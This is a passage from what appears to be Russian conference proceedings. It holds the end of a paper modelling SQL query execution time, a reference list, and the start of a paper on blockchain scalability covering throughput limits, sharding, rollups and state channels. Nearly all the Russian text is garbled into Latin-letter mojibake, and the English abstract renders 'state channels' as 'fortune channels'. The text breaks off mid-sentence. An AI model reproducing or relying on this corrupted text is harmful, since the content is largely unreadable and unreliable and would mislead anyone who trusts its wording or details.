HAVING, Bmuser Ha CIOXHOCTh BbhIUHCIEHWH. Kaxmoe ycioBue m00aBisieT omneparuu
CpaBHEHMSI, KOTOPBIE BBIIOIHAIOTCS VISl KaXKI0M CTPOKH, YTO YBEIMYMBAET BPEMS BBIIIOJTHEHUS
3ampoca. ITo 100aBISIeT JMHEHHYIO CII0KHOCTB, POITOPIIMOHAIBHYIO f.

KomuuectBo coemunenuit (j) - JOIN-3ampocsl TpeOyrOT COMOCTaBICHUS CTPOK U3
HECKOJIbKUX Ta0mun. Ecnmm Tabmumbel comepkaT Nq W N, CTPOK, a WHIEKCHl OTCYTCTBYIOT,
CIIOKHOCTh COeIMHEHUst MokeT gocturatb O (n; X n,). Jlake Tnpu HAIMYMH HHIECKCOB
coelMHEeHHe OCTaéTcst 0ojee peCypCOEMKHM 110 CPAaBHEHUIO € 3aIPOCaMH K OJTHOM TaluIie.

KonmuuectBo monzanpocoB (q) - Iloazampockl MOTYT CYIIECTBEHHO YBETUYUTH BpeMs
BBITIOJIHEHHSI, OCOOCHHO €CIIM OHH BBIMOJHSAIOTCS sl KaKIOH CTPOKM OCHOBHOTO 3arpoca.
BpeMeHHbIE 3aTpathl 31€Ch 3aBUCAT OT CIIOKHOCTH To/13anpoca (Ty) ¥ KOIM4eCTBa BHI30BOB.

OObenuHsAST STH 3aBUCHUMOCTH, (OPMUPYEM HUTOrOBYIO (opMyny MAisi BpEeMEHHU
BoinoniHeHus 3anpoca (T):

T=k; xnxf+k, xcxlog(n) +k; XjXxXTj+ksxqXTy

I'ne:

T — BpeMs BBITIOJTHEHHS 3a1poca (B MAJUIUCEKYH/IAX );

N — KOJIMYECTBO CTPOK B TAOJIMIIE;

C — KOJIMYECTBO CTOJIOIIOB;

f — gucino ycnoswmii B 3ampoce;

J — kommyecTBO coeauneHuit Taodmir (JOIN);
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T; — cpenuee Bpemst BHINOJHEHUS OJTHOTO COE/IUHEHHS;

q — KOJIMYECTBO MOA3AIIPOCOB;

Tq — BpeMs1 BBINOJIHEHHS OJIHOTO 3aIpOCa,;

ky,ky, k3, ks - KOIpduIMEHTHI, 3aBHCANME OT XapaKTEPUCTHK OOOpYIOBaHUS U
HacTpoeK 0a3bl JaHHBIX.

PaccMoTpuM 3aBUCMMOCTH OTAETBHBIX KOMIIOHEHTOB (hOPMYIIbI:

Bnusane o0néma manHbIX ¥ puisTpammu ( ky X n X f ). DTOT KOMIOHEHT oTpaXkaer
JMHEHHOE yBEIWYEHHE BPEMEHH BBIONHEHUS C POCTOM KOJIMYECTBAa CTPOK B Tabmwie (n) u
gyucina yenouid puiabTparmu (f). Ecam Tabmuma comepXUT MHJUIMOHBI CTPOK, a 3arpoc
BKItO4YaeT Heckoibko ycinoBuid (WHERE), kaxnas crpoka aHanusupyeTrcsl Uil IPOBEPKU
YCJIOBHIA, YTO CYIIECTBEHHO YBEIMUMBACT BpEMs BBHIMOJTHEHHSA. K; YYHTHIBACT BIMSHUE
o0opyaoBaHus (IPOU3BOAUTENLHOCTH Tporieccopa) 1 HacTpoek CYB/I.

Bnusaune ctpyktypsl Tabmunsl (k, X ¢ X log(n) ). YBenudyenue koimuecTBa CTOIOLOB
(C) MpUBOIUT K HEOOXOAMMOCTH OOPaOOTKH OoJbIero o0béMa naHHBIX. Jlorapupmudeckas
3aBUCHMOCTb OT N BO3HHUKAET MU HCIIOJIB30BAaHUH HHAECKCOB, KOTOPHIE MO3BOJIIIOT YCKOPHUTH
orepanyy 3a cYET MoMcKa JaHHbBIX B aepeBe nHuekca. Koaddumment k, oTpakaer HakiIagHbIe
pacxoibl, CBA3aHHBIE C JOCTYIIOM K TUCKY M 00paOOTKON OOJBIIHNX MOJIEH.

Brusuue coenunenmuii Tabmun (K3 X j X Tj ). Kaxmeiii JOIN ro6asnster Heo6X0MMMOCTh

COTOCTABJICHUS CTPOK W3 JBYX Tabiui. Bpems BbinonHenus coenuuenust (Tj) 3aBucutr oT
pasMepa COeTUHIEMbIX TaOJIUI] U HATMYUSI UHIIEKCOB. K3 MOKA3hIBACT, KaK aIMapaTHBIC PECYPCHI
Y ONTUMU3AIHS COSMHEHHUH BIMAIOT Ha MIPOU3BOIUTEIHHOCTb.

Bnusane nomzanpocos (ks X q X Ty ). Ilomsanpockl, 0cOGEHHO KOPPEIMPOBAHHBIE
(BBINIONIHAEMBIE JUIS KaXKJIOW CTPOKH), 3HAYMTENBHO YBEIMYMBAKOT BPEMS BBINOJHEHUS. Ty -

BpeMsi OJIHOTO BBITMOJIHEHHS MOA3arpoca, a q ux koimdectBo. Koadduuuentr k, yuutbiBaer
JIOTIOJIHUTEIIbHBIE U3JIEPIKKH.

[TpoBen€HHBIN aHAM3 TIOKA3ajl, YTO MPOU3BOIUTEIHLHOCTh PEISIMOHHBIX 0a3 JaHHBIX
IIPU BBIIIOJIHEHUM 3alPOCOB CYILIECTBEHHO 3aBHCUT OT XapaKTEPUCTUK JIAHHBIX, CTPYKTYpbI
TaOJINII, HATMYMS MHICKCOB M HACTPOEK armapatHoro obecredeHus. [IpocTeie 3ampockl, Takue
Kak BBIOOPKU M3 OJHOW TaONIUIIbl, TPEOYIOT MUHUMAJILHOTO 00bEMa PECYPCOB, B TO BpeMsl Kak
arperupyronme Gpyaknun u coeaunenus tabmui (JOIN) oka3bIBarOT 3HAYUTENHHO OOJBIIYIO
Harpy3Ky Ha IpoIeccop, ONEPATUBHYIO AMSTh U IIOJICUCTEMY BBOJIa-BbIBOAA.

OnTumu3aiys BBIMOJIHEHUS 3alpOCOB JIOCTUTACTCSA 3a CUET MPUMEHEHHUS WHICKCOB,
MpaBWJIbHOW HacTpoiiku mapamerpoB CVYBJl u yuéra XapakTepUCTHK aIapaTHOro
o0ecrieyeHus], TAKMX KaKk 0O0BEM OMNEepaTHBHOW MAMSATH M TPOU3BOIAUTEIBHOCTh HAKOIHUTEICH.
Pa3zpaborannas maremaTtudeckass MOJIENb TIO3BOJISIET MPOTHO3UPOBATH BPEMS BBITIOJIHEHUS
3alpoCoOB, MCXOId H3 KIIOYEBBIX IAPAMETPOB, M SBISETCA OCHOBOM U1 JAJIbHEWIIETO
noBbIIeHHS 2()(HEKTUBHOCTH PabOTHI 0a3 JaHHBIX.

***x

1 A. M. Tenpann, B. B. CuraueBa, A. B. Apxumos, JI. K. CupoTrHa. AHanu3 U yIpaBICHAC PUCKAMH
WHPOPMATMOHHON 0e30IacHOCTH 00BEKTa KPUTHIECKOH HH(POPMAMOHHON HH(pacTpyKTyphl // BecTHHK
Cankr-ITeTepOyprckoro rocyJapcTBEHHOTO YHHBEPCHTETa TEXHOJMOTHU U au3aitHa. Cepust 1: EctecTBeHHBIC
u Texanueckue Hayku. — 2023, — Ne 3. — C. 21-27. DOI: 10.46418/2079-8199 2023 3 3.

2. Kpacos A. B., Butkosa JI. A., [lecroB U. E. IloBeneHueckuii aHaJIu3 CUCTEM paclpesielieHUsI PECYpPCOB B
obnaunoii uadpactpykrype // 2019 International Russian Automation Conference (RusAutoCon). — IEEE,
2019.-C. 1-5.

3. lenbany A. M., IemxoB A. U., Jlancepe H. H. Ananmu3 ocoOeHHOCTell CyOBEKTOB KPUTHYECKOM

nHpopManMoHHON HH(pacTpyKTypsl Poccuiickoit @eneparmu, (yHKIMOHHUPYIOIMAX B cdepe HAyKd //
AxryanpHble po0sieMbl HHPOTEIEKOMMYHHKaIMK B Hayke n oopaszosanuu (AITMHO 2022). — 2022. — C.
49-54,

4. Bupux 3. B., ®epanonrosa C. C. K Bonpocy 00 ayauTe nepcoHaIbHBIX JaHHBIX // AKTyaJIbHBIE TIPOOIIEMBI
uH(DOTEIEKOMMYHHKalWi B Hayke u oopasoBanun (ATIMIHO 2018). — 2018. — C. 111-114.




-118- JIlendenyuu paseumus HAyKu u obpasosanis

Mapksa T. .
MacmradupyemMocTsb 010K4YCHH ceTei

Canxm-Ilemepbypeckuii 20cy0apcmeeH bl YHUSepCUmem
menekommyHukayuti um. npogh. M. A. bonu-bpyesuua
(Poccusi, Canxm-Ilemepbype)
doi: 10.18411/trnio-01-2025-245

AHHOTALUSA

Texnonorust OyokueifHa, oOecreunBaroIas JEIEHTPATN30BaHHbINA, O€30MacHbIl U
NpO3payHblil y4eT NaHHBIX, CTAJKUBAETCS C CEPhE3HBIMU MpoOJIeMaMu MaclITaOUpPYeMOCTH,
KOTOpBIE OIPAaHUYMBAIOT €€ MPUMEHEHHE B MPUIOKEHUAX, TPEOYIOUIMX BBICOKOW MPOIYCKHON
cnocoOHocTH. B HacTosmedl  craTbe — aQHAIM3UPYIOTCS  KIIOYEBBIE  OTPaHHYECHUS
MacuITabupyeMOCTH CYIIECTBYIOIIMX OJIOKUSHH-CeTel, Takhe KaK OrpaHMYEeHHAas MPOITyCKHas
CIIOCOOHOCTh, BBICOKAsi CTOMMOCTb TPAaH3aKLMI, BBICOKAas 3aJEepiKKa MOATBEPKICHUS
TpaH3aKIMid M  HEOONbIIOE KOJIMYECTBO TpaH3akuuii B Onoke. PaccmaTtpuBarorcs
(GyHIaMeHTaJIbHbIE MPUYMHBI 3THUX NpoOJieM, BKJIIOYas paclpe/ieNeHHbI  KOHCEHCYC,
HEOOXOIMMOCTh HM30BITOYHOCTH JAHHBIX, OTPAHUYCHUS BBIYMCIHUTEIBHBIX MOIIHOCTEH W
TPYO€MKOCTh MaWHMHra. OCHOBHOE BHHMAaHHE YJAENAETCS MEPCHEKTUBHBIM PELICHUSIM JUIs
MOBBIIICHUs] MacITaOMPYEeMOCTH Ha Pa3IMYHBIX YPOBHSX: OJOKYEiHA, CETH, KOHCEHCyca H
KpunTorpaduu. AHATM3UPYIOTCA TaKHe PelleHus], KaKk yBeJIHMueHue pazmepa Oioka, LIapIuHT,
KaHaJIbl COCTOSIHUSI, CETH PETPAHCIIHNH, abTePHATUBHBIE aITOPUTMBI KOHCEHCYCa M HOBBIC
KpunTorpapuueckue Joka3arenbeTa. [IpoBoauTess cpaBHUTEIbHBINA aHAINU3 MPUMEHEHHS ITUX
peIICHUI 1 MX KOMOMHAIMI Ha BeIylux OjokderH-uiaTdopmax, Brimtodas Bitcoin, Ethereum,
EOS u npyrue. B 3akmoueHne o0CykaatoTcsi KOMIPOMHCCHI M HEPCIEKTUBbI JaTbHEHIIEro
Pa3BUTHS MAaCIITAOUPYEMBIX OJIOKYSHH-PEIICHUIA.

KnioueBble cioBa: OJ0K4elH, MacITaOMpyeMOCTb, MPOIMYCKHAas CIOCOOHOCTD,
IIAp/MHT, KOHCEHCYC, KpunTorpadus, kaHaisl coctosiaus, Bitcoin, Ethereum, EOS.

Abstract

Blockchain technology, which provides decentralized, secure and transparent data
accounting, faces serious scalability problems that limit its use in applications requiring high
bandwidth. This article analyzes the key scalability limitations of existing blockchain networks,
such as limited bandwidth, high transaction costs, high transaction confirmation latency, and a
small number of transactions per block. The fundamental causes of these problems are
considered, including distributed consensus, the need for data redundancy, limitations of
computing power and the complexity of mining. The focus is on promising solutions to increase
scalability at various levels: blockchain, network, consensus, and cryptography. Solutions such
as block size increase, sharding, state channels, relay networks, alternative consensus algorithms
and new cryptographic proofs are analyzed. A comparative analysis of the application of these
solutions and their combinations on leading blockchain platforms, including Bitcoin, Ethereum,
EOS and others, is carried out. In conclusion, the trade-offs and prospects for further
development of scalable blockchain solutions are discussed.

Keywords: blockchain, scalability, bandwidth, sharding, consensus, cryptography,
fortune channels, Bitcoin, Ethereum, EOS OcHOBHOI TEKCT CTaThH.

Beenenue

PeBommononHasi TeXHOIOTHUsA OJIOKYEHHA OTKphLJIAa HOBYIO 9Py JICHECHTPATM30BAHHBIX
cucTeM, O0ECIeUnBAIONINX OECIpPEeIeICHTHBI YPOBEHh O€30MaCHOCTH, HAJIC)KHOCTH U
MPO3PAYHOCTH 3alKcel JaHHBIX. BIOKYeWH mpeacTaBiseT coOoi pacmhpeieieHHyro 0asy
JAHHBIX, COCTOSAIIYID W3 IICTIOYKU OJIOKOB, KOTOPBIE KPHUNTOrpaduiyecKd CBSI3aHBI U
pacrpeiesieHbl 0 MHOYKECTBY Y3JI0B B OJHOPAHTOBOM CETH. DTa MHHOBAIMOHHASI apXUTEKTYypa
yCTpaHseT HEOOXOJUMOCTh B ILEHTPAIM30BAHHOM YIIPABJICHUH, MO3BOJISISI YYACTHUKAM CETH
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coBepuIaTh O€30IacHble TPAH3AKIMU M XPAaHUTh HEU3MEHSIEMYI0 HCTOpUIO 3amuceil 0e3
BMEIIATENILCTBA TPETHEH CTOPOHBI.

[TpuanMn paboThl GOKYEHiHA OCHOBAaH Ha MCIIOJB30BAaHUU KPHUIITOTPAPHUECKUX XeIll-
(bYHKIMNA, aCHMMETPUYHOTO MIM(POBAHUS U AITOPUTMOB KOHCeHCyca. Kora HoBast TpaH3akIuys
BBOJIUTCS B CE€Th, OHA JIOJKHA OBITh IPOBEPEHA U MOATBEP)KICHA OOJBIIMHCTBOM YYAaCTHUKOB
(MaiiHEepOB) B COOTBETCTBUM C YCTAaHOBJIEHHBIMM TpaBWIaMH KoHceHcyca. [locie
MOATBEP)KICHHUS ~ TpaH3aKIMs  3alUCHIBAETCS B HOBBIM  OJIOK  JTQHHBIX, KOTOPBII
KPUNTOTpa(hUuecK! CBA3BIBACTCA C MPEABIIYIIMM OJIOKOM, (HOPMUPYSI HEPa3pBHIBHYIO LETIOUKY
OJIOKOB WJIH OJIOKYEHH. DTa apXUTEKTypa rapaHTUPYET, YTO 3allMCAHHBIE TaHHBIE HE MOT'YT OBITh
M3MEHEHBI WIN Y/aJleHbl 0e3 HapyIIeHHUs BCEH MOCIeI0BaTETbHOCTH OJIOKOB.

OmHuM W3 KJIIOYEBBIX  MPEUMYHIECTB  OJOKYEHH-TEXHOJOTWU  SBISIETCS €€
JCUEHTPAIM30BaHHAsl NIPUPO/A, KOTOpast MCKIIOYAeT €IMHYI0 TOYKY OTKa3a W ySA3BUMOCTH K
atakaM wiu c6osim. Kpome Toro, 01ok4eliH o0ecreurBaeT BHICOKHI YpOBEHb 0€30MacCHOCTH U
HEM3MEHHOCTH JaHHBIX Oyarojapsi HCIONB30BAHUIO KPHUNTOrpa(pUUecKux airopuTMOB H
MIPUHIMIA PaACTpeIe]IeHHOro peectpa. TpaH3akimu B OJOKYEHHE MOJHOCTHIO MPO3PAayHbI U
MOT'YT OBITH TIPOBEPEHBI JIFOOBIM YYaCTHHKOM CETH, YTO IMOBBIMIACT JIOBEPUE U TIOJOTYETHOCTD
CHCTEMBI.

HecmoTpss Ha MHOTOYHCICHHBIE TPEHMYIIECTBA, OMHOM W3 OCHOBHBIX MPOOIIEM,
CIIEPXKMBAIOIMX MAaCCOBOE BHEJIPEHHE TEXHOJOIMH OJIOKYelHa, SBISIETCS OrpaHW4YeHHas
MacCIHITA0MPyeMOCTh  CYIIECTBYIOIIUX OJIOKYCH-ceTeil. 13-3a KOHCEHCYCHOTO MeXaHu3Ma
BIMIAIMK TPAH3AKLMM U paclpe/ieleHHOM Mpupo/ bl OJ0KUYeHHa BOSHUKAIOT OMPaHUYEHHS IO
MIPOIYCKHON CIOCOOHOCTH, BPEMEHHU IMOJATBEPXKIECHHUS TpaH3aKIMA U CTOMMOCTH 0OpabOTKU.
O1H (aKkToppl MPENATCTBYIOT MCHOJIB30BAHUIO OJIOKYEHHA B NPHIOKEHUSX, TPeOYIOLIIMX
BBICOKOHM TIPOITYCKHOW CHOCOOHOCTH M HH3KOH 3a/ICpPXKKH, TAaKUX KaK IUIATEKHBIE CHUCTEMBI,
UTPbI, COLIUMAIBHBIE CETU U MHOTHUE JPYTHE.

B nanHOI cTaThe MBI paCCMOTPUM TEKYIIHE MPOOJIEMBbl MAaCIITaOUPYeMOCTH OJIOKYEHH-
CeTei, MpoaHaTM3UpyeM HUX OCHOBHbIE NPHUYMHBI U HCCIEAYeM IEPCHEKTUBHBIE PEIICHUS,
MpeJIaraeMble HCCIIeI0BATESIMU U pa3padoTUUKaMu JUTsl TPEOIONICHHS ATUX OrpaHu4eHuil. Mbl
TalkOKe CPaBHUM DPA3JIMYHbIE MOJIXO/bl M OLEHUM HMX 3(PPEKTUBHOCTH U MPUMEHUMOCTb IS
Pa3IMYHBIX OJIOKYEHH-TIIAT(OPM.

Tekyiye orpaHn4YeHHs MacIITaOUPyEeMOCTH

HecmoTpss Ha ~ MHOTOYHCIEHHBIE  TPEHMMYIIECTBA  TEXHOJOTMH  OJOKYEHHa,
CYLIECTBYIOLIHNE OJOKYeiH-ceTn CTAJIKUBAIOTCA c CEepPbE3HBIMU npoOieMaMu
MacIITaOUPyeMOCTH, KOTOpPbIE 3HAUUTEILHO OIPAHUYHMBAIOT UX BO3MOKHOCTH ¥ IPUMEHUMOCTh
B pa3JIMUHBIX 00JIacTsAX. PaccMOTpUM OCHOBHBIE OrpaHUYEHHS MAaCIITAOUPYEMOCTH TOIpOOHEe:

1.  OrpanuueHHass TPONyCKHas CHOCOOHOCTh. IIpomyckHas CHOCOOHOCTH
ONOKYeiiHa OIpeAesseTcs KOMUYECTBOM TpPAH3aKLMH, KOTOpPBIE MOTYT OBITh
00paboTaHbl MW TIOATBEP)KACHBI B EIUHUILYy BpeMEHH. B OONBIIMHCTBE
HOMYJSIPHBIX OJIOKYEiH-ceTe, Takux kak Bitcoin u Ethereum, mpomyckHas
CIOCOOHOCTh CHJIBHO orpaHuyeHa. Hampumep, B cetu Bitcoin mosxer ObITH
00paboTaHo TOJBKO OKOJIO 7 TpaH3aKIMii B CeKyHay, a B Ethereum - okoso 15
TpaH3aKUUl B CEeKyHAY. OTH TMOKa3aTeld 3HAYUTENLHO HIDKE, YeM Y
TPAJAWIMOHHBIX  IICHTPAJM30BAaHHBIX  CHUCTEM  IUIATEXEH,  KOTOpbIe
00pabaThIBaIOT THICSIYU TPAH3AKLIUHN B CEKYHITY.

2.  Bricokas croMMocTh TpaH3akIMid. B OJOKYEHH-CETSX MaiHEpHl MOTyYaroT
BO3HArpakJIeHUE 3a BAIMJAIMIO U BKIIOYEHHE TpaH3aKuui B O610ku. OqHAKO
U3-32 OTPAaHMYCHHOHN MPOITYCKHOW CHOCOOHOCTH M pacTylIed MOIMYIIPHOCTH
OJIOKYEHOB, CTOMMOCTh KOMHCCHI 3a TpaH3aKIMU MOXKET OBbITh OYEHb
BBICOKOH, OCOOCHHO B TIEPUOJIbI BBHICOKOW HArpy3KH Ha CETh. JTO JENacT
HEKOTOpbIE MPHUIOKEHUs Ha 0a3e OMoKuYeilHa SKOHOMHUYECKH HEBBITOIHBIMU
IS IOJIL30BAaTENICH.
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3. Bricokast 3azepxkka MOATBEPKACHHS TpaH3aKuui. Bpemsi, Heobxomumoe 1tst
MOATBEPKICHHS TPAH3AKIIMK B OJIOKYEIHE, 3aBUCHT OT BPEMEHH T€HEepaIiu
HOBOI'0 0JIOKa M KOJMUYECTBA TIOATBEP)KACHUM OT MaitHepoB. B BitCoin HOBBIi
ONOK TeHepupyeTcss NpuMepHO Kaxkable 10 MUHYT, a UIg HaJeKHOTO
MOJITBEPKACHHS TpaH3akIuK Tpedyercs or 6 a0 10 moATBepKAeHUH, YTO
MOKET 3aHATh OKOJO 4Yaca. Takas BBICOKas 3aJepKKa HempuemieMa s
MHOTUX MpPWIOKEHHUH, TpeOyromux OBbICTPbIX TpaH3aKIMH, TaKuX Kak
TUIATE)KHBIE CUCTEMBI UJTH UTPBHI.

4.  OrpaHuYeHHOE KOJUYECTBO TpaH3aKIui B OJioke. Pazmep Giioka B OiokueiiHe
00BIYHO OrpaHuueH s obecreueHHs >(PPEKTUBHOM pPacIIpOCTPAHAEMOCTH
61o0koB 1o cetu. Hampumep, B Bitcoin pasmep 6Gmoka orpanwuen 1 MB, uto
no3BoJisieT oopabareiBaTh TOIbKO okoyo 2000-3000 TpaH3akuMil B KaxaoM
O5oke. DTO oOrpaHHYeHHE TAaKKe HAKJIAAbIBAeT TpeAensl Ha OOHIyIo
MPOITYCKHYIO CIIOCOOHOCTH CHCTEMBI.

OTH (QyHAaMEHTaJIbHbIE OTPAaHUYEHUS MAcCIITAOMPYEMOCTH SIBISIOTCS CEphE3HBIMU
MIPETNISATCTBUSIME JIJISI IIMPOKOTO BHEIPEHHSI TEXHOJIOTHH OJOKYEHA B Pa3IMYHBIX 001acTsX,
TpeOYIOUINX BBICOKON TPOU3BOAUTEIILHOCTH, HU3KOM 3aJepKKM W HHU3KMX KOMMCCHM 3a
TpaH3aKIMU. B cleqyomux pasfenax Mbl PacCMOTPUM TPHYUHBI ITHX OTPAaHUYCHUN U
BO3MOYKHBIE PEILICHUS JIJIs TOBBIIICHUS MACIITaOUPYEMOCTH OJIOKUEHH-CETeH.

[Ipuunzb! podaeM MacITabupyeMocTu

1.  PacnpeneneHHslii KOHCEHCYC. B GokueiH-ceTsIX Bce y3JIbl JOJKHBI JOCTHYb
KOHCEHCYCa OTHOCHUTEJIBHO TEKYIIETO COCTOSHHUS PACHpeIeNICHHOTO PeecTpa.
Ortor mporecc TpeOyeT 3HAYUTETBHBIX BBIYHCIUTENBHBIX PECYPCOB U
BpPEMEHH, TaK KaK KaKIbIi y3eI JIOJDKSH MPOBEPHUTH M TIOJTBEPAUTH KAXKIYIO
TpaH3akuuio. Yem OoJbllie y3/I0B B CETH, TEM CIIOKHEE JOCTUYh KOHCEHCYCa,
YTO OTPAaHUYHUBACT OOIYIO TPOIYCKHYIO CITOCOOHOCTb.

2. HeobOxoaumocTs U30BITOYHOCTH JTAHHBIX. st oOecrieueHust
JEICHTPATN3AlMN U YCTOMYMBOCTH K COOSIM, KaXXIbIH y3el B OJIOKYCHH-CEeTH
JOJDKEH XPaHUTh TOJHYI0 KOIMHUIO pacrlpeiesieHHOro peecTpa. JTo Tpedyer
3HAUUTENBHBIX 3aTPaT PECYpCOB IO MEpe pocTa pazMmepa OJOKYEHHa, YToO
OTpaHMYUBAET MACIITAOMPYEMOCTb.

3. OrpaHmycHHS  BBIYHCIUTEIBHBIX  MOIIHOCTEH. MHOTHE  alrOPHTMBI
KOHCeHcyca, Takue kak Proof-of-Work, TpeOyroT HHTEHCUBHBIX BBIYHCIICHHI
JUT pelIeHUs] KpUnTorpahuyeckux 3amad. ITH BBIUHCICHUS OTPaHHYUBAIOT
CKOPOCTh TEHEpallii HOBBIX OJIOKOB U, CIIEJOBATEIbHO, TPOIMYCKHYIO
CIIOCOOHOCTH CETH.

4.  TpynoemkocTh MaitHuHra. B Onokueitnax ¢ Proof-of-Work maitHMHT HOBBIX
0JI0KOB TpeOyeT 3HAYNUTEIHHBIX BBIUUCIUTEIHLHBIX PECYPCOB M dHEpro3aTpar.
[To Mepe pocTa CIIOKHOCTM MaWHUHTA U LEHTPATU3AIMH BBIUYUCIUTEIHHBIX
MOIIIHOCTEMH, TPOIIECC BaJIHIANH TPAH3AKIMH 3aMeIIISIeTCS, CHIYKasi OOIIYIO
MPOITYCKHYIO CIIOCOOHOCTb.

[lepcrieKTUBHBIE PEIICHHUS HA PAa3HBIX YPOBHSIX

YpoBeHb OMoKueiiHa:

VYBenuueHnue pasmepa OJ0Ka - TO3BOJSET BKIIIOYATh OOJBINIE TPAH3AKIUN B KaXIIbIid
670K, HO TpeOyeT OOJIBIINX PECYPCOB IS MIEpelaui U XpaHESHUSL.

CerperupoBaHHbIE aJIpeCHblE WHAEKCHI - ONTHUMM3ALUS JaHHBIX U YMEHBUICHHUS
o0beMa OoKYerHa.

brnokuelH-mmapIuHTr - TOPWU30OHTAIBLHOE  MAacIITaOMpOBaHWE OJIOKYEHWHA IyTeM
paszieseHus Ha HECKOJIBKO MapajlIesIbHbIX LENoYeK (1Lap/oB).

VYpoBens cetu:

OTNOXCHHBIC TPAH3aKIUM W KaHaJdbl COCTOSHHS - BBINIOJHEHHE TpPAH3aKIUil BHE
OCHOBHO IIETIH C NEPUOINYECKUMU (prKcalusiMu B OJI0KYeiiHe.
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CeTn pPETPaHCIATOPOB TPAH3AKIUN - pACIpEAesICHHE TpaH3aKUUKd 3a MpeleaamMmu
OCHOBHOI1 CETH U151 TIOBBIIIEHHS IPOITYCKHON CIOCOOHOCTH.

YpoBeHb KOHCEHCYCa:

Anroput™Mbl KoHCeHCyca 6e3 maiiaunra (PoS, DPOS u ap.) - 6onee sHeproapdexTrBHbIC
ansrepHatuBel Proof-of-Work.

YpoBeHb kpunrorpaduu:

Hossle Tumbl kpunrorpaduueckux mokasarensctB (ZK-SNARKS, Bulletproofs u ap.) -
MO3BOJISIFOT BEpUDHUITIPOBATH TPAH3AKIIMU 0€3 PACKPBITHS BCEX JAHHBIX, YMEHBINAs HATPY3KY Ha
CETh.

CpaBHUTENBHBII aHANM3 TPEUIOKEHHBIX PEUIeHHMH M MX KOMOMHALMI Ha pa3HbIX
OsoK4erH-TUIaThopMax:

Bitcoin

. VYBenuuenue pasmepa 61oka (Bitcoin Cash, Bitcoin SV)
. CerperupoBannbie aapeca (Segregated Witness B Bitcoin)
. Kanans! cocrosaus (Lightning Network)

. broxuelH-IapIMHT [T0Ka HE pealn30BaH

—  Ethereum

. VYBenuueHue ra3oBoro JJMMHATA B 0J10Ke (BPEMEHHOE PEIIICHUE )

. Hlapmuar mwianupyercst B ooHoBnenuu Ethereum 2.0

. Kananst coctosinus (Raiden Network, Perun)

. Rollups (Optimistic u ZK-rollups) asist BeIHOCA TaHHBIX 3a MPECIbl OCHOBHOM
TN

. Iepexox Ha Proof-of-Stake B Ethereum 2.0

- EOS

. lopuzoHTanpHOE  MacmTabMpOBaHWE  dYepe3  MapajulelIbHble  IIENOYKH
(sharding)

. JlenerupoBaHHbIi anroput™ KoHcencyca Proof-of-Stake (DPoS)

. [NapamnensHas 06paboTKa TpaH3aKIMI

. OtcyTCTBHE KOMUCCHH 32 TPaH3aKIIUH

KoMmOuHanusi pa3nuuHbIX pelieHduil 4Yacto sBiseTcs HauOosnee 3¢ QeKTHBHON
crpaterueil. Hampumep, B Ethereum 2.0 rutanupyeTcsi UCTonb30BaTh miapAuHr mend, rollup-
TEXHOJIOTHH, POS 1 pyrue onTUMU3aluu 0THOBPEMEHHO.

[Ipu BBIOOpE pelieHHs CJenyeT YYUThIBaTh Crenuduky IaTthopMbl, TpeOOBaHUS
MIPUJIOKEHUS, TOTOBHOCTh K KoMIIpomuccaM. OCHOBHBIE KOMIIPOMHUCCHI JIEKaT B IJIOCKOCTH
JeLeHTpaIn3aly, Oe30MacHOCTH, W YHUBEpcalbHOCTH. Hampumep, ImapAuHr MOBBILIAET
MPOU3BOIMTEILHOCTh, HO CHIDKAET CTENeHb JeleHTpanm3anuu. A ontumuctudeckue rollup-
pELIEHNs] YCKOPSIOT TPaH3aKLUK, HO TPEOYIOT 0BEPHS K OIIEpaTOpy.

B nemnom, Onok4yelH WHIYCTpPHS IBIXKETCS B CTOPOHY MHOTOYPOBHEBBIX pEIICHUH,
COBMEUIAIONIMX pA3IWYHble IMOJAXOJbl HA Pa3HBIX YPOBHAX cTeka. Benymue muatdopmsl
aKTMBHO SKCIEPUMEHTUPYIOT U Pa3BUBAIOT MHOMKECTBO IEPCIEKTUBHBIX METONOB HapsIy C
onTUMU3aIe 0a30BOM apXUTEKTYPhI OJIOKUCHHA.

3aKIIr04eHne

[Tpobnema MaciITabUpyeMOCTH SIBJISETCS OAHUM M3 KJIIOUEBBIX BBI30OBOB, CTOSIIMX HA
NyTH I[IHUPOKOTO BHEAPEHUs] TEXHOJOrWM OJjokueiiHa. B Hacrosmiedd pabore MBI
MPOAHAIM3UPOBAIA OCHOBHBIE OI'PaHUYEHUs] MAcIITaOUPYEMOCTH CYLIECTBYIOIINX OJIOKYEHH-
CeTell M pPacCMOTpENM MEPCHEKTUBHBIE PEIICHUs, IMpeiaraéMble Ul MPEOJOJICHUS ITUX
OrpaHMYEHMI Ha Pa3HbIX YPOBHSX.

XoTs MHOTHME W3 OITMCAHHBIX PEIICHWH, TaKWe KakK YBEIWYCHHE pa3Mmepa OJIoKa,
HIAPJUHT, KaHaJIbl COCTOSHHUSA M HOBBIE KPUNTOrpaguiyecKue JOKa3aTelbCTBa, IEMOHCTPUPYIOT
MHOT0O0€IIAIONINE PEe3yJIbTaThl B IOBBILIEHUH MACIITAaOMPYyEeMOCTH, HU OIHO M3 HHUX HE
ABJSE€TCAd WACAIBHBIM M YHHBEpcalbHbIM. Kaknoe pelieHue MMeeT CBOM KOMIIPOMUCCHI U
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OrpaHUYEHMs B IUIAHE JACLECHTpalIM3alMM, O€30MaCHOCTH, YHHMBEPCAJIBHOCTU WM Tpedyer
3HAUUTENIbHBIX aPXUTEKTYPHBIX H3MEHEHHIH.

I[To mepe nanpHeiero pa3BuTHs 6JIOKUYEHH-TEXHOJIOTUIA U €€ IPUMEHEHUS B Pa3INYHbIX
obnmactsx, HauOonee SPQPEKTUBHBIM TOAXOAOM, BEPOSTHO, CTaHET KOMOWHHPOBaHHE
HECKOJIBKMX PEIIEHUI Ha Pa3HBIX YPOBHAX CTEKa. YiKe celdac BeIymue OJIOKYCHH-TIIIAaTPOPMBI
aKTUBHO OKCIEPUMEHTUPYIOT C MHOTOYPOBHEBBIMH apXUTEKTypaMHu, COBMELIAIOUIUMU
IIApJIMHT, KaHaIbl COCTOSHUSA, IOllUp-TeXHOJIOrHH, HOBBIC AITOPUTMBI KOHCEHCYCa M JAPYrHe
MHHOBAIUH.

Kpome ToOro, BaxHO OTMETUTh, YTO MOBBIIIEHHE MACIITAOMPYEMOCTH HE SBISETCS
eIMHCTBEHHOH 3a/1aueil. PazpaboTunku OoKYeH-peleHnil TOKHBI TaKkKe YUUTHIBaTh TaKHUe
aclieKThl, KaK JELEeHTpanu3alus, O€30IacCHOCTh, yCTOMYMBOCTb K  LEH3ype H
